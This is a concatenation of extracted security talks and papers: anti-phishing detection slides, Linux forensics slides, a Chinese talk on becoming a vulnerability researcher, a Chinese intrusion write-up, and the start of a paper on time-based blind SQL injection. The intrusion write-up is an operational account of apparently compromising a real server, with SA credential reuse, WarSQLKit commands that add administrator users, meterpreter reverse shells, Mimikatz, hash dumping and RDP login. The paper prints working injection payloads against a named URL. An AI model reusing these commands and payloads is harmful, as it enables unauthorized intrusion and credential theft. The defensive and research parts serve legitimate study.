WHOIS • Hostname resolved IP address (comparison with real site) • Suspicious IFRAME with tiny width and height Sunday, 10 August, 2008 Page 26 • Suspicious IFRAME with tiny width and height • Suspicious URL or encodings used in URL • Similar HTML / Javascript source with legitimate website • SSL certificate validation Approach used by website blocker / filter Blacklisting - Identify the bad sites with blacklisted URL database • Receive phishing reports from public (Eg. PhishTank) • Automated crawler to find suspicious domain names and websites • Exchange phishing URLs with security vendor partners Sunday, 10 August, 2008 Page 27 • Exchange phishing URLs with security vendor partners • Block blacklisted URLs with tools installed on client machine Disadvantages of blacklisting approach • Unable to identify unreported phishing websites in the wild • Client side has to keep updated with latest blacklisted URL DB • Efficiency issue as the amount of blacklisted URL grows Sunday, 10 August, 2008 Page 28 How can we improve it better? Step 1: Identify the visual similarity of rendered website with legitimate banking websites IF SIMILAR, CONTINUE TO STEP 2 Step 6: Compare the data obtained from Step 2-5 with the pre-analyzed information of original banking/financial website 1.Identify the visual similarity of rendered website with legitimate website 2.Check target web server/site characteristics for identification (WEBSITE FINGERPRINTING!) 3.Check target URL’s domain name age 4.Check target URL’s similarity with legitimate URL Whitelisting approach Sunday, 10 August, 2008 Page 29 Step 2: Target web server/site characteristics for identification (WEBSITE FINGERPRINTING!) Step 3: Target URL’s domain name age checking Step 4: Target URL similarity and encoding Step 5: Target website content analysis for suspicious characteristics 4.Check target URL’s similarity with legitimate URL and suspicious encoding 5.Check target website’s content for suspicious characteristics 6.Compare the data obtained from Step 2-5 with the pre-analyzed information of original banking/financial website Website Finger Printing… Uhmm… • Collect information about target web server / site • Get geolocation of target website from IP address • Nmap does OS fingerprinting from TCP/IP stack characteristics, we do it from HTTP response characteristics • Collect information about original web server / site as well Sunday, 10 August, 2008 Page 30 • Get geolocation of the real website from IP address • Now what? Compare! When any of the server or website characteristics such server type, server version, server date / time, last modified date, etc. mismatch, it smells… PHISHY! Identifying visual similarity of a website Simple approach to create signature for web appearance 1. Take screenshot image of a rendered website 2. Calculate the mean values for red, green and blue of the image 3. Use the RGB mean values as ‘website appearance signature’ paypal.png - Screenshot of the real PayPal website messed.png – Messed up image modified from paypal.png Sunday, 10 August, 2008 Page 31 paypal.png - Screenshot of the real PayPal website messed.png – Messed up image modified from paypal.png Red: 226.26349166666665 Green: 232.64016333333333 Blue: 236.67534166666667 Red: 226.26936333333333 Green: 232.64310833333334 Blue: 236.67663166666668 [MEAN VALUES] [MEAN VALUES] Identifying visual similarity of a website fake.png – Screenshot of fake PayPal website [with contrast and brightness level purposely tweaked] 2checkout.png – Screenshot of the real 2Checkout.com website Sunday, 10 August, 2008 Page 32 Red: 225.603835 Green: 231.98625166666667 Blue: 236.01825500000001 Red: 207.40960000000001 Green: 220.19798166666666 Blue: 213.34901500000001 [MEAN VALUES] [MEAN VALUES] r1 – Red color mean value of image-1, r2 – Red color mean value of image-2 g1 – Green color mean value of image-1, g2 – Green color mean value of image-2 b1 – Blue color mean value of image-1, b2 – Blue color mean value of image-2 rDiff = | ( ( r1 – r2 ) / 256 ) | gDiff = | ( ( r1 – r2 ) / 256 ) | bDiff = | ( ( r1 – r2 ) / 256 ) | Therefore, 100 – ((rDiff + gDiff + bDiff) * 100) = % of similarity Example calculation: Identifying visual similarity of a website Sunday, 10 August, 2008 Page 33 Difference of paypal.png and messed.png rDiff = |((226.26349166666665 - 226.26936333333333) / 256)| = 0.00002293619791671875 gDiff = |((232.64016333333333 - 232.64310833333334) / 256)| = 0.0000115039062500390625 bDiff = |((236.67534166666667 - 236.67663166666668) / 256)| = 0.0000050390625000390625 100 – (0.000039479166666796875 * 100) = 99.9960520833333203125 % similar Difference of paypal.png and fake.png rDiff = |((226.26349166666665 - 225.603835) / 256)| = 0.0025767838541666015625 gDiff = |((232.64016333333333 - 231.98625166666667) / 256)| = 0.002554342447916640625 bDiff = |((236.67534166666667 - 236.01825500000001) / 256)| = 0.002566744791666640625 100 – (0.0076978710937498828125 * 100) = 99.23021289062501171875 % similar Difference of paypal.png and 2checkout.png rDiff = |((226.26349166666665 - 207.40960000000001) / 256)| = 0.0736480143229165625 gDiff = |((232.64016333333333 - 220.19798166666666) / 256)| = 0.0486022721354166796875 bDiff = |((236.67534166666667 - 213.34901500000001) / 256)| = 0.091118463541666640625 100 – (0.2133687499999998828125 * 100) = 78.66312500000001171875 % similar Example of a basic anti-phishing system Sunday, 10 August, 2008 Page 34 Advantages of ‘web appearance signature’ • Easier to obtain signatures of legitimate sites • Able to detect unknown or “zero-day” phishing websites Sunday, 10 August, 2008 Page 35 Demo Sunday, 10 August, 2008 Page 37
pdf
Next Generation Data Forensics & Linux Thomas Rude, CISSP August 2002 Agenda Thomas Rude, © 2002 ● Overview of Data Forensics ● Agents of Change ● Future of Data Forensics ● Linux as Next Generation Data Forensics platform ● Questions Data Forensics, Infancy Thomas Rude, © 2002 Historically data forensics has focused on imaging and analyzing standalone personal computers (PCs). - small hard drives - DOS-based utilities Evolving Data Forensics Thomas Rude, © 2002 First agents of change; - significantly larger hard drives (>500MB) - significant increase in number of PCs - increase in use of PCs in crimes Evolving Data Forensics Thomas Rude, © 2002 Second agents of change; - significant increase in use of non-PC devices - servers, handhelds, digital cameras, etc. - increase in non-Windows operating systems - MacOS, UNIX flavors, Linux flavors, etc. Evolving Data Forensics Thomas Rude, © 2002 Where does the data forensic community stand today? Electronic data is stored in many devices, ranging from wrist watches, telephony boxes, and enterprise servers. Increasingly forensic examiners are dealing with 'non-traditional' PCs, corporate security personnel are first responders to incidents, and critical data is residing in volatile system memory. NG Forensics Defined Thomas Rude, © 2002 "The scientific process of imaging and analyzing data stored in any electronic format, for the purpose of reporting findings in a neutral manner, with no predisposition as to guilt or innocence." farmerdude, 2002 NG Forensics & Linux Thomas Rude, © 2002 Next generation data forensics platform of choice? Linux NG Forensics & Linux Thomas Rude, © 2002 What makes Linux so powerful? - everything, including hardware, is a file - support for numerous file system types - ability to analyze a live system in a minimally invasive manner - ability to chain commands - ability to monitor and log processes & commands - ability to review source code - ability to create bootable media NG Forensics & Linux Thomas Rude, © 2002 File Recognition within Linux; - ease of replication (clear text config files) - seeing everything as a file allows for a degree of control over that file - degree of security - degree of granularity over how the operating system environment behaves NG Forensics & Linux Thomas Rude, © 2002 File Recognition within Linux; - So what is the benefit to the forensic examiner? - examiner has ability to control how the operating system touches devices (I.E., consistent mounting of devices in a read only manner that does not alter the data on the evidentiary device) NG Forensics & Linux Thomas Rude, © 2002 Numerous File System Types Support; - Linux can interpret many file system types, including; ext2, ext3, FFS, HPFS, FAT, VFAT, NTFS, ISO9660, UDF, UFS, etc. - Win32 can interpret a few file system types, including; FAT, VFAT, and NTFS NG Forensics & Linux Thomas Rude, © 2002 Numerous File System Types Support; - So what does this mean for the examiner? - If you use Win32 as your platform for analysis and you wish to view data in its logical format, then you must have a driver for that specific file system type written. - Win32 + no fs driver = one big blob NG Forensics & Linux Thomas Rude, © 2002 Numerous File System Types Support; - So what does this mean for the examiner? - If you use Linux as your platform for analysis and you wish to view data in its logical format, chances are you already have a driver for that fs type availabe for use - Linux + fs driver = pretty logical format NG Forensics & Linux Thomas Rude, © 2002 Analyzing a Live System, Minimally Invasively; - Almost all compromised systems have trojaned commands - Linux provides a method for analyzing this compromised system, in its running state, in a minimally invasive manner NG Forensics & Linux Thomas Rude, © 2002 Analyzing a Live System, Minimally Invasively; - The goal of all data forensic work is to not alter the evidence wherever possible - Extremely difficult to perform - However, Linux can prove helpful NG Forensics & Linux Thomas Rude, © 2002 Analyzing a Live System, Minimally Invasively; - Trusted binaries on trusted media (floppy, CD) - Use Vi editor to issue commands without stepping all over the system logs - Commands such as 'script' can be used in conjunction with 'time' to provide an accurate log of what commands were issued and at what time NG Forensics & Linux Thomas Rude, © 2002 Chaining Commands; - commands useful to the forensic examiner may be chained together in order to increase productivity - example; dd if=/dev/hdd conv=noerror bs=1024 of=image1 2>> image_error_log ; md5sum image1 > image1_hash NG Forensics & Linux Thomas Rude, © 2002 Chaining Commands; - Linux also provides ability to redirect standard input/output/error - examples; dd if=/dev/sda conv=noerror bs=1024 | gzip > scsi_image.gz dd if=/dev/sda conv=noerror bs=1024 | split -b 640m cat xa* > new_sda_image_file NG Forensics & Linux Thomas Rude, © 2002 Ability to Monitor and Log Processes & Commands; - Linux provides an environment rich in auditing and logging user activities - Value to forensic examiner? Trail of what happened when and by whom or what. - Commands include; script, w, pstree, ps, strace, lsof, etc. NG Forensics & Linux Thomas Rude, © 2002 Source Code Review; - most all commands used by a forensic examiner on the Linux platform are open source, and therefore, their code is freely available for review - allows for customization of code - more importantly, allows for increased technical knowledge (knowing what's happening 'behind the scenes') and ability to defend tool NG Forensics & Linux Thomas Rude, © 2002 Trusted Boot Media; - Whether a floppy diskette or a CD-ROM, bootable Linux media can be created and customized - Allows forensic examiner to create personalized toolsets for most any situation, as well as trusted binaries to use for processing NG Forensics & Linux Thomas Rude, © 2002 What does all of this mean? - The power of Linux empowers the forensic examiner NG Forensics & Linux Thomas Rude, © 2002 Questions?
pdf
从开发到漏洞挖掘的角色转换 王纬 2020-06-05 关于我 • ID: Proteas – Weibo: @Proteas – Twitter: @ProteasWang • 3 年 Windows C++ 开发经验。 • 5 年 iOS App 开发经验。 • 5 年 iOS & macOS 漏洞挖掘经验。 • 目前处于技术理想主义与技术现实主义之间。 主要内容 • 背景与约束 • 漏洞挖掘与利用 • 为什么要转漏洞挖掘 • 如何转到漏洞挖掘 • 结语 背景与约束 • 每个人眼里都有一个世界。 • 每个人都有自己的局限性。 • 经验是不可传承的, • 每个人都有属于自己的路, • 但仍希望本文能对你有所帮助。 背景与约束 • 二进制方面的漏洞挖掘与利用。 • 领域与目标:默认指 macOS/iOS。 • 面向:开发人员。 漏洞挖掘与利用 – 挖掘 • 漏洞挖掘研究的是什么? • 研究的是可以用于突破安全边界的编程错误。 – 识别编程错误。 – 触发编程错误的方法。 – 自动、高效发现编程错误的方法。 • 本文中的编程错误指:可以用于突破安全边界的编程错误。 漏洞挖掘与利用 – 挖掘 • 大部分编程错误跟“信任”有关系, • 从广义的角度说, • 漏洞挖掘研究的是:信任与欺骗。 漏洞挖掘与利用 – 利用 • 漏洞利用研究的是:控制与转化。 • 下面是我在日报里写的一句话, • 编写 iOS 内核利用的过程实际是: – 以初始错误类型为起点, – 以内核空间任意地址读写为终点, – 不断提升控制内核数据能力的过程。 漏洞挖掘与利用 – 利用 • 挖掘与利用所依赖的知识有共性, • 但是差别很大, – 待处理的问题 – 处理问题时的思维模式 • 个人认为这是两个不同的方向。 • 相对于挖掘,在没有公开套路的情况下, • 利用更具创造性、艺术性。 漏洞挖掘与利用 – 思维模式 • 下图是 Minizip 库的解压缩接口的截图。 漏洞挖掘与利用 – 思维模式 漏洞挖掘与利用 – 思维模式 • 开发人员关注什么? • 大部分关注的是:接口如何使用。 • 一部分会关注: – 库的设计 – 库内部使用的算法。 • 这跟我们所接受的专业训练有关系。 漏洞挖掘与利用 – 思维模式 • 漏洞挖掘人员关注什么? • 攻击面,即:哪些数据是攻击者可控的。 • 库内部的实现:路径穿越,符号问题,溢出,内存操作等。 • 也会关注接口: – 主要看接口是否清晰、易用, – 是否容易让开发者犯错。 漏洞挖掘与利用 – 思维模式 • 开发:直接性。 – 看到的是接口,关注的也是接口。 • 漏洞挖掘与利用:间接性。 – 看到的是接口, – 关注的是数据对内部实现的影响。 – 例子:内核利用。 漏洞挖掘与利用 – 对抗 • 开发者与厂商的利益是一致的, • 大家共处一个生态。 • 本质上,漏洞挖掘与厂商处于对抗状态。 – 如果没有漏洞挖掘人员, – 厂商可以降低数量可观的成本。 • 漏洞挖掘的同行之间:撞洞。 漏洞挖掘与利用 – 不确定性 • 开发人员及软件工程: – 为了保证确定性, – 追求的也是确定性。 • 漏洞挖掘与利用领域涉及不确定性, • 尤其是当前的漏洞利用领域。 • 这会让我们感觉很不舒服、不可靠。 漏洞挖掘与利用 – 支撑技术 • 开发领域的一些调侃: – 面向 Google 编程。 – 面向 Github 编程。 – 面向 QQ 群编程。 • 这些在漏洞挖掘领域基本不存在, • 遇到的大部分问题都需要自己解决。 漏洞挖掘与利用 – 工程化程度 • 工程化是为了保证结果, • 粗暴地讲就是:如果这么做,就可以得到结果。 • 先定义“结果”再来看工程化程度。 • 如果结果是:打下目标,那工程化程度非常低。 • 如果结果是:获得 CVE,那工程化程度中等偏下。 漏洞挖掘与利用 – 工程化程度 • 为什么要谈工程化程度?因为产出。 • 在开发人员的眼中应该不存在 0 产出的情况, • 但在漏洞挖掘领域,结合具体的目标, • 是可能存在 0 产出情况的。 • 为了避免这种情况, • 需要持续不断的思考、总结、学习、对抗。 漏洞挖掘与利用 – 习惯失败 • 在大部分情况下, • 开发人员在解决好不好的问题, • 漏洞挖掘与利用人员在解决能不能的问题。 漏洞挖掘与利用 – 习惯失败 • 在实际的项目开发中, • 每天都可以输出代码, • 大部分需求都是可以实现的。 • 在针对有实际价值的目标的漏洞挖掘过程中, • 基本不可能每天都发现漏洞, • 所发现的漏洞大部分都不可利用。 • 所设计的利用方案, • 很可能在某个环节上,被某个缓解措施阻止。 漏洞挖掘与利用 – 习惯失败 • 这种情况会对开发人员造成心理冲击, • 如果内心不强大,很可能会放弃。 • 我们要习惯失败,但仍对目标保有渴望。 • 我们要在多次失败的情况下, • 继续保持研究的节奏。 漏洞挖掘与利用 – 方法论 • 尖 à 专注 图片来源: http://m.6okok.com/wuqi/lenbingqi/6222.html 漏洞挖掘与利用 – 方法论 • 实战 à 实操 图片来源: https://zhuanlan.zhihu.com/p/34766047 漏洞挖掘与利用 – 价值观 • 开发领域,大家的价值观比较统一。 • 漏洞挖掘领域存在各种价值观: – 打下目标。 – CVE 致谢的数量。 – 学术价值。 – …… • 没有对错、好坏,都在推动这个行业向前发展。 为什么要转漏洞挖掘 • 兴趣所在。 • 挑战与快乐。 • 结果更好衡量: – 数量 – 质量 • 可能,除了父母, • 没有人真的会为我们的未来买单。 如何转到漏洞挖掘 – 学习方法 • 对于初学者, • 个人不提倡“书单式”的学习。 • 个人鼓励“功利式”的学习。 • 学习知识是为了解决问题, • 知识是为目的服务的。 如何转到漏洞挖掘 – Review • 研究的是:编程错误。 • 最核心的方法论是:专注 + 实操。 如何转到漏洞挖掘 – 强化目的 • 目的是:寻找编程错误。 • 其它的都是为这个目的服务: – 代码阅读能力。 – 静态分析能力。 – 动态分析能力。 – …… • 不要本末倒置。 如何转到漏洞挖掘 – 强化目的 • 个人认为: – 对于职业的漏洞挖掘人员, – 针对编程错误的思考与训练, – 应该每天都进行, – 目的是把其变成一种“肌肉记忆”。 • 大家要记住目的,不要迷失在知识的海洋里。 如何转到漏洞挖掘 – 确定目标 • 由于对抗属性,首先需要确定目标。 • 目标不同,技战术也不同。 • 大家可以结合自己的背景与兴趣选择目标。 • 目标一旦选定,建议一年内不要改变。 如何转到漏洞挖掘 – 确定目标 • iOS 沙盒逃逸。 • Android Binder 相关的漏洞。 • macOS XPC 漏洞。 • Linux 用户空间提权。 • 虚拟化产品的逃逸。 • …… 如何转到漏洞挖掘 – 编程错误 • 首先要掌握通用的错误类型。 • 《 The Art of Software Security Assessment 》,by Mark Dowd • 重点关注其中的错误类型。 • 也可以阅读其它书籍与资料, • 重点仍然是关注错误类型。 • GP0:https://bugs.chromium.org/p/project-zero/issues/list?q=&can=1 如何转到漏洞挖掘 – 编程错误 • 每天积累、关注错误类型。 • 关注每天安全动态中提及的漏洞的错误类型: – https://weibo.com/360adlab?is_all=1 – https://weibo.com/xuanwulab?is_all=1 • 关注 Twitter 上漏洞相关信息中的错误类型。 • 总之,丰富自己所掌握的错误类型, • 强化自己对编程错误的识别能力。 如何转到漏洞挖掘 – 编程错误 • 根据你选择的目标, • 寻找其历史漏洞。 • 可以选择一个有公开利用的历史漏洞, • 重点调试分析。 如何转到漏洞挖掘 – 编程错误 • #调试分析历史漏洞# • 可以让我们了解: – 所涉及的领域知识, – 对目标漏洞有更深的理解, – 对利用有一定理解。 • 分析的第一个漏洞,需要的时间比较长。 • 也可以通过这个过程看看自己是否真的喜欢漏洞 挖掘。 如何转到漏洞挖掘 – 编程错误 • #调试分析历史漏洞# • 如果一个模块出过漏洞, • 那它里面存在其它漏洞的可能性更大。 • 另外,可以进行“变种分析”。 • 例子:macOS XPC 提权漏洞。 • 《盘古越狱工具在用户空间的行为 》 • 《iOS 8.1.2 越狱过程详解及相关漏洞分析》 如何转到漏洞挖掘 – 编程错误 • 感觉自己掌握了大部分漏洞类型后, • 可以通过发现 N-Day 去检验下自己的能力。 • 方法: – 个人。 – 团队。 如何转到漏洞挖掘 – 编程错误 • 在学习错误类型以及调试历史漏洞时, • 可能会涉及逆向及调试。 • 对于漏洞挖掘, • 逆向与调试只是技术手段, • 不是技术目的。 如何转到漏洞挖掘 – 静态分析 • 强化逆向能力的一个方法: – 选择一个缺少文档, – 规模合适的功能, – 对其进行逆向分析。 • 建议:初学者不要选择 C++ 程序。 如何转到漏洞挖掘 – 静态分析 • 在逆向分析的过程中, • 边看汇编,边查手册, • 对每一行汇编进行注释。 • 《逆向 iOS SDK – +[UIImage imageNamed:] 的实现》 • 《逆向 iOS SDK – “添加本地通知”的流程分析》 如何转到漏洞挖掘 – 静态分析 • 建议: – 汇编是非常 Low Level 的, – 汇编间接反应的是开发者的目的, – 不要被汇编淹没, – 只见树木不见森林, – 要尝试去了解开发者的意图。 如何转到漏洞挖掘 – 动态分析 • 程序的有些状态无法静态获得, • 因此需要调试分析, • 调试是对逆向的补充、解惑。 如何转到漏洞挖掘 – 动态分析 • 调试器有大量的命令与参数, • 不要去死记这些命令与参数。 如何转到漏洞挖掘 – 动态分析 • 大家可以先略读一本调试相关的书籍, • 掌握使用调试器解决问题的方法与思路。 • 调试器是工具, • 调试是技术手段, • 不是技术目的。 如何转到漏洞挖掘 – 动态分析 • 《Advanced Apple Debugging & Reverse Engineering》 如何转到漏洞挖掘 – 动态分析 • 调试之前应该想一个调试“方案”: – 想通过调试了解、确定什么? – 在哪些地址设置断点? – 断点命中后,关注哪些寄存器的值? – 关注哪些跳转、分支? 如何转到漏洞挖掘 – 动态分析 • 练习方法: • 可以结合前面逆向分析的模块, – 使用调试器去获得在逆向时: • 无法获得的信息, • 或者不容易确定的信息。 – 在调试器的帮助下,去验证静态分析的结果。 如何转到漏洞挖掘 – 方法 • 工程人员主要使用两种方法来挖掘漏洞: – 审计 – 模糊测试(Fuzzing) • 前面我们不断强调错误类型, • 因为这是进行审计的基础。 如何转到漏洞挖掘 – 审计 • 以功能为主:一对多 – 功能是“一”, – 错误类型是“多”。 – 需要熟练掌握各种错误类型。 如何转到漏洞挖掘 – 审计 • 以错误类型为主:变种分析 – 错误类型为一, – 功能是多。 • 使用这种方法, • 审计过程相对比较轻松。 如何转到漏洞挖掘 – 模糊测试 模糊测试 (fuzz testing, fuzzing)是一种软件测试技术。 其核心思想是将自动或半自动生成的随机数据输入到一个程 序中,并监视程序异常,如崩溃,断言(assertion)失败, 以发现可能的程序错误,比如内存泄漏。模糊测试常常用于 检测软件或计算机系统的安全漏洞。 如何转到漏洞挖掘 – 模糊测试 • 模糊测试非常适合开发人员, • 可以利用开发人员的现有经验, • 发挥出开发人员的优势。 如何转到漏洞挖掘 – 模糊测试 • 目前效果比较好的模糊测试方法是: – Coverage Guided Fuzzing。 – 各种 Sanitizer,如:AddressSanitizer。 如何转到漏洞挖掘 – 模糊测试 • 目前常用的模糊测试工具: – AFL,AFL++ – libFuzzer – Honggfuzz – Peach Fuzzer – libFuzzer + libprotobuf-mutator – syzkaller 如何转到漏洞挖掘 – 模糊测试 • 体验: – 先跟随网上的 Step-by-Step, – 去学习如何使用工具(如:AFL 或者 libFuzzer), – 然后选一个目标(建议选老版本), – 应用 Fuzz 工具。 如何转到漏洞挖掘 – 模糊测试 • 应用: – 根据自己的经验、兴趣选择一个目标, – 目标的接口不一定适合做模糊测试, – 对已有接口做封装, – 使其适合模糊测试, – 最后进行模糊测试。 • 分析哪些程序使用了目标库, • 向其 SRC 报告发现的问题。 结语 • 漏洞挖掘研究的是:可以用于突破安全边界的编程错误。 • 核心方法论:专注 + 实操。 • 分清楚技术手段与技术目的,要有技术方向感。 • 模糊测试比较适合开发人员。 • 当方向与方法对了后,剩下的交给时间。 参考 1. Thomas Dullien, Fundamentals of security exploits 2. Thomas Dullien, Why I Love Offensive Work, Why I don't Love Offensive Work 3. http://www.winimage.com/zLibDll/unzip101e.zip 4. https://zh.wikipedia.org/wiki/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95 谢谢! 意见及反馈:proteas[DOT]wang[AT]gmail[DOT]com
pdf
问了下师傅,目标有个php dz的站有一个aspx的站,从aspx的读取文件读取到 web.config文件内容,是sa账号,但是降权了,而且传不到aspx文件网站目录里面, 只能传到dz的网站里面,一个asp冰蝎马。   用了师傅的网站看下进程(皮一下哈哈)   上次说过了,iis权限就算是管理员权限都一样,powershell啥的net net1肯定是没戏 的。你直接穿exe也是没戏的,连query user都看不了,也断掉了我们传exp上去提 权。   首先在aspx站找到了sa账号密码和dz的config目录里面找到了root账号i密码。   主要是有的马被杀了,而且由于我对sql server熟悉一点,所以直接执行。   之前呢,因为知道 https://github.com/EPICROUTERSS/MSSQL‐Fileless‐ Rootkit‐WarSQLKit 这个项目而且klion师傅说过。 可以看下帮助他是有提权操作的,而且是不落地的提权手法(有错误的话,就当我没 说)。   因为当时研究过,把所有可利用的不落地文件全部都做好了。   EXEC sp_cmdExec 'whoami'; => Any Windows command EXEC sp_cmdExec 'whoami /RunSystemPriv'; => Any Windows command with NT AUTHORITY EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add" /RunSystemPriv'; => Adding EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv' EXEC sp_cmdExec 'powershell Get‐ChildItem /RunSystemPS'; => (Powershell) with EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x86 EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'; => x86 EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'; => x86 Meterpreter EXEC sp_cmdExec 'sp_Mimikatz';  select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :) EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\fi EXEC sp_cmdExec 'sp_getSqlHash'; => Get MSSQL Hash EXEC sp_cmdExec 'sp_getProduct'; => Get Windows Product EXEC sp_cmdExec 'sp_getDatabases'; => Get Available Database 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 查看下有两个rdp会话,但是都在5月底。   直接利用sqldumper貌似不行,死活导不出来。只能换个办法了。   那就只能导出注册表,解密hash试试。   本地读取下hash文件。   administrator解密不出来,但是另一个用户解密出来了,登录3389的时候限制了计算 机名称。   本地更改下计算机名字   直接rdp登录进来。   然后也不用传文件,直接sqldumper dump下来就行了。   本地导入解密下。
pdf
Time-Based Blind SQL Injection using Heavy Queries A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool Authors: Chema Alonso, Daniel Kachakil, Rodolfo Bordón, Antonio Guzmán y Marta Beltrán Speakers: Chema Alonso & José Parada Gimeno Abstract: This document describes how attackers could take advantage of SQL Injection vulnerabilities taking advantage of time-based blind SQL injection using heavy queries. The goal is to stress the importance of establishing secure development best practices for Web applications and not only to entrust the site security to the perimeter defenses. This article shows exploitation examples for some versions of Microsoft SQL Server, Oracle DB Engine, MySQL and Microsoft Access database engines, nevertheless the presented technique is applicable to any other database product in the market. This work is accompanied by a tool to prove the technique. Time-Based Blind SQL Injection using heavy queries & Marathon Tool Page 1 of 12 Index Section Page 1. INTRODUCTION 02 2.“TRICKS” FOR TIME DELAYS4 03 2.1 Microsoft SQL Server 2000/2005 04 2.2 Microsoft Access 2000 06 2.3 MySQL 5 07 2.4 Oracle 08 3 . HEAVY QUERIES 08 4. MARATHON TOOL 09 4.1 Configuration Section 09 4.2 Database Schema 11 4.3 Debug Log Section 11 References 12 Authors 12 Time-Based Blind SQL Injection using heavy queries & Marathon Tool Page 2 of 12 1. INTRODUCTION The first reference to “blind attacks” using SQL queries was introduced by Chris Anley in June 2002 ([1]). In this paper the author calls attention to the possibility of creating attacks to avoid the database error processing by searching a binary behavior in system’s responses. This work proposes a blind security analysis in which the analyzer had to infer how to extract the information building up SQL queries from which the only possible responses will be true or false. Furthermore, different methods to determine when to consider a system response as true or false are proposed. Among them he proposes to construct a criterion time-based. Anley gives some examples of blind SQL injection techniques where the information is extracted from the database using a vulnerable parameter. Using this parameter code is injected to generate a delay in response time when the condition is true: <<······ if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5' …it is possible to determine whether a given bit in a string is '1' or ’0’.That is, the above query will pause for five seconds if bit '@bit' of byte '@byte' in string '@s' is '1.' For example, the following query: declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5' will pause for five seconds if the first bit of the first byte of the name of the current database is 1 After this first reference, blind SQL injection techniques continued to be studied with most of techniques generating error messages from the attack system, because of the simplicity, quick execution, and extension of showing an error message versus delaying the database. In [2] the authors analyze different ways to identify a vulnerable parameter on a SQL Injection system, even when the information processed and returned by the system is not visible. At the 2004 BlackHat Conference ([3]) alternative methods to automate the exploitation of a Blind SQL Injection vulnerable parameter are proposed, using different custom tools. Three different solutions for the automation are proposed: to search for keywords on positive and negative results, to use MD5 signatures to discriminate positive and negative results and to employ textual difference engine. It is also introduced SQueal, an automatic tool to extract information through Blind SQL Injection, which evolved later to another tool called Absinthe ([4]). In [5] time-based inference techniques are discussed, and the author proposed other ways to obtain time delays using calls to stored procedures, such as xp_cmdshell on MS SQL Server to do a ping. xp_cmdshell ‘ping –n 10 127.0.0.1’ application paused 10 seconds. Time-based techniques can be extended to any action performed by a stored procedure capable of generating a time delay or any other measurable action. In [6] SQL Injection tricks for MySQL are included with some examples based on benchmark functions that can generate time delays. For example: SELECT BENCHMARK(10000000,ENCODE('abc','123')); [around 5 sec] SELECT BENCHMARK(1000000,MD5(CHAR(116))) [ around 7 sec] Example: SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login An exploit ([7]), published in June 2007, shows how this technique could be used to attack a game server called Solar Empire. This exploit is a perfect example of how a Time Based Blind SQL Injection attack can be done. The next piece of code shows the injected code for delay the database server answer: Time-Based Blind SQL Injection using heavy queries & Marathon Tool Page 3 of 12 ¡$sql="F***You'),(1,2,3,4,5,(SELECT IF (ASCII (SUBSTRING(se_games.admin_pw, ".$j.", 1)) =".$i.") & 1, benchmark(200000000,CHAR(0)),0) FROM se_games))/*"; Figure 1: Exploit for Solar Empire. Blind SQL Injection in blue. Time delay in red. As the studies of the time-based Blind SQL Injection techniques are moving forward, some new tools have been created, such as SQL Ninja ([8]), which uses the Wait-for method for Microsoft SQL Server engines, or SQL PowerInjector ([9]), which implements the Wait-for method for Microsoft SQL Server Database engines, Benchmark functions for MySQL engines, and an extension of the Wait-for method for Oracle engines, using calls to DBMS_LOCK methods. 2. “TRICKS” FOR TIME DELAYS Taking into consideration the methods described above, it can be seen that having access to stored procedures for Microsoft SQL Server and Oracle is needed to be able to generate time delays using calls to Wait-for methods and DBMS_LOCK. However, this is not necessary on MySQL engines, because in this case a mathematic function is used to generate the time delay. Some Intrusion Detection Systems (IDS) and Firewalls applications have the ability to block the URLs that use Benchmark functions. The question now is, if the use of stored procedures and Benchmark functions is cancelled, may it be generated a time-based blind SQL injection method?. The answer is yes. Blind SQL injection exploits can only be avoided by using the right programming technique. The program must make sure all the code is going to execute is not an attack, or, in Michael Howard’s words: “All input is evil until it proven otherwise.” Time-Based Blind SQL Injection using heavy queries & Marathon Tool Page 4 of 12 A simple way to generate time-delays is to take advantage of one of the biggest database problems that have made necessary the development of performance-tuning techniques: heavy queries. The only thing needed is to generate a time-delay is to access a table with some registers and to build a “good big query” to force the engine to work. In other words, to build a query ignoring what the performance best practices recommend. In this example we have a URL with a SQL Injection vulnerability that can be exploited only by a time-based blind SQL injection. This means that there isn’t any error message produced by the system (figure 2), and we always obtain the same response (sometimes because a query is right and sometimes because the programmer has coded a default response even when an error occurs). Figure 1. Error Condition. The programmer returns a default value → Result 1 2.1 Microsoft SQL Server 2000/2005 In Microsoft SQL Server 2000 and Microsoft SQL Server 2005 engines a heavy query can be done using some tables from the dictionary which the user has been granted access. In this example we do a heavy query accessing sysusers table. http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>0 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers) It can be seen in figure 3, the query starts at 23:49:11 and ends at 23:49:25 then it lasts 14 seconds. This time-delay is caused by the second condition in the “where” clause because is a heavy query. This query in the where clause only is executed if the third one is also True then, in this case, “300>(select top 1 ascii(substring(name,1,1)) from sysusers)” is TRUE. It’s actually known that the ASCII value of the first username’s letter in the sysusers table is lower than 300. Figure 3: Positive result. The response time is 14 seconds. Time-Based Blind SQL Injection using heavy queries & Marathon Tool Page 5 of 12 As we can see in figure 4, the query starts at 00:00:28 and ends at 00:00:29, it means the query lasts one second. This time-delay is because the third condition in the where clause It is FALSE, so the database hadn´t to evaluate the second condition, then “0>(select top 1 ascii(substring(name,1,1)) from sysusers)” is FALSE. We actually know than the ASCII value of the first username’s letter in the sysusers table is greater than 0. Figure 4: egative result. The response time is 1 second. With these two queries we can access all the information stored in the database measuring the 